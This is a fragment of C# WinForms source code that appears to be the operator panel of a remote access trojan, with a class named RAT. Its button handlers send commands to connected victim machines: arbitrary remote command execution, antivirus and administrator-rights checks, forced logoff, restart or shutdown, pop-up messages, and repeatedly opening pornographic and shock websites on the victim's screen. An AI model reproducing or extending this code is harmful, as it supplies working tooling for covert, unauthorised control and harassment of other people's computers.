private void removeBar_Click(object sender, EventArgs e) { RAT.Send("shutting"); currentSelectedBar.session.Stop(); clientsPanel.Controls.Remove(currentSelectedBar); AllignClientBars(clientsPanel); }
private void exit_Click(object sender, EventArgs e) { this.Hide(); //tell all the connected clients that we are closing ClientBar.SupressErrors = true; //tell all clients that the server is shutting down foreach (ClientBar bar in clientsPanel.Controls) { RAT.Send("shutting", bar); } Application.Exit(); }
private void cmdInputBox_KeyDown(object sender, KeyEventArgs e) { //if the user hits the 'Return' or 'Enter' key if (e.KeyCode == Keys.Return) { if (cmdInputBox.Text == "cls") { cmdBox.Text = ""; } else { RAT.Send($"cmd|command|{cmdInputBox.Text}"); } e.SuppressKeyPress = true; //this just supresses the keypress, meaning that we won't get that annoying message when we hit return } }
private void cmdAntivirus_Click(object sender, EventArgs e) { RAT.Send("info|avirus"); }
private void cmdUninstall_Click(object sender, EventArgs e) { RAT.Send("rat|uninstall"); }
private void cmdCheckAdmin_Click(object sender, EventArgs e) { RAT.Send("info|isadmin"); }
private void pornProc_Click(object sender, EventArgs e) { RAT.Send($"process|https://www.pornhub.com/|1"); }
private void meatProc_Click(object sender, EventArgs e) { RAT.Send($"process|http://meatspin.fr/|1"); }
private void cmdLogOff_Click(object sender, EventArgs e) { RAT.Send("pc|logoff"); }
private void cmdRestart_Click(object sender, EventArgs e) { RAT.Send("pc|restart"); }
private void cmdShutdown_Click(object sender, EventArgs e) { RAT.Send("pc|shutdown"); }
private void cmdGetBleu_Click(object sender, EventArgs e) { RAT.Send("info|bleu"); }
private void RemoteCMD_FormClosing(object sender, FormClosingEventArgs e) { RAT.Send("cmd|stop"); }
private void RemoteCMD_Load(object sender, EventArgs e) { RAT.Send("cmd|start"); }
private void send_Click(object sender, EventArgs e) { RAT.Send($"showmsg|{titleBox.Text}|{msgBox.Text}|{iconBox.SelectedItem.ToString()}"); this.Close(); }
private void open_Click(object sender, EventArgs e) { RAT.Send($"process|{urlBox.Text}|{iterationsBox.Text}"); this.Close(); }